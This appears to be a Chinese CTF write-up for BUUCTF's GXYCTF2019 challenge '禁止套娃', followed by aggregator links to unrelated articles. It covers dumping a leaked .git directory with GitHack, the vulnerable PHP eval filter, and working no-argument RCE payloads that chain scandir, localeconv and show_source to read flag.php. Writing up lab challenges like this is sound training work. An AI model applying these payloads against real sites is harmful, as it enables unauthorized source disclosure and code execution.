当前位置: 首页 > news >正文

buuctf-[GXYCTF2019]禁止套娃 git泄露,无参数rce

用dirsearch扫一下,看到flag.php

 访问一下没啥东西,使用githack

python2 GitHack.py http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn/.git/

查看index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))  //限制了php伪协议{if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) //这就是匹配任意字母到_然后+(?R)? ,后面这个?R是引用当前表达式,形成递归调用,然后继续来匹配。{if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子,get也过滤了。

无参数rce上次做ctfshow web40的时候刚碰到过

可以参考https://www.cnblogs.com/NPFS/p/13778333.html

ctfshow 命令执行(40-50)-CSDN博客

基本一样,用上面的命令就可以

获取当前文件目录

?exp=print_r(scandir(current(localeconv())));

 用array_reverse把数组倒置,再用next默认返回第一个元素

next()函数讲内部指针指向数组中的下一个元素,并输出

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

high_light或者show_source输出

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

 

http://www.lryc.cn/news/183085.html

相关文章:

  • 【逐步剖C】-第十一章-动态内存管理
  • 【树】树的直径和重心
  • 《Attention Is All You Need》论文笔记
  • C++笔记之不同buffer数量下的生产者-消费者机制
  • 编码文字使用整数xyz 三个坐标 并使用
  • 创建vue3工程
  • Flutter笔记 - 用于描述Align的Alignment、AlignmentDirectional、AlignmentTween类
  • 门面模式简介
  • 2023年7月工作经历二
  • 7.wifi开发【智能家居:终】,实践总结:智能开关,智能采集温湿,智能灯。项目运行步骤与运行细节,技术归纳与提炼,项目扩展
  • 学习开发一个RISC-V上的操作系统(汪辰老师) — unrecognized opcode `csrr t0,mhartid‘报错问题
  • 【计算机网络】 心跳机制
  • 文心一言 VS 讯飞星火 VS chatgpt (106)-- 算法导论10.1 4题
  • 进程调度算法之时间片轮转调度(RR),优先级调度以及多级反馈队列调度
  • ARMv8如何读取cache line中MESI 状态以及Tag信息(tag RAM dirty RAM)并以Cortex-A55示例
  • 密码技术 (6) - 证书
  • 【算法学习】-【双指针】-【盛水最多的容器】
  • JAVA面经整理(8)
  • 【Java 进阶篇】JDBC数据库连接池Druid详解
  • Linux——指令初识
  • 专题一:双指针【优选算法】
  • 蓝桥等考Python组别十二级007
  • 全方位介绍工厂的MES质量检验管理系统
  • 避免风险,亚马逊、沃尔玛、阿里国际站选择什么样的测评方式最安全?
  • 【C语言】语法--联合体union详解
  • 接口测试复习
  • 获取医疗器械板块的个股列表
  • 1026 程序运行时间
  • 博途1200/1500 ALT指令
  • 11、视频分类建议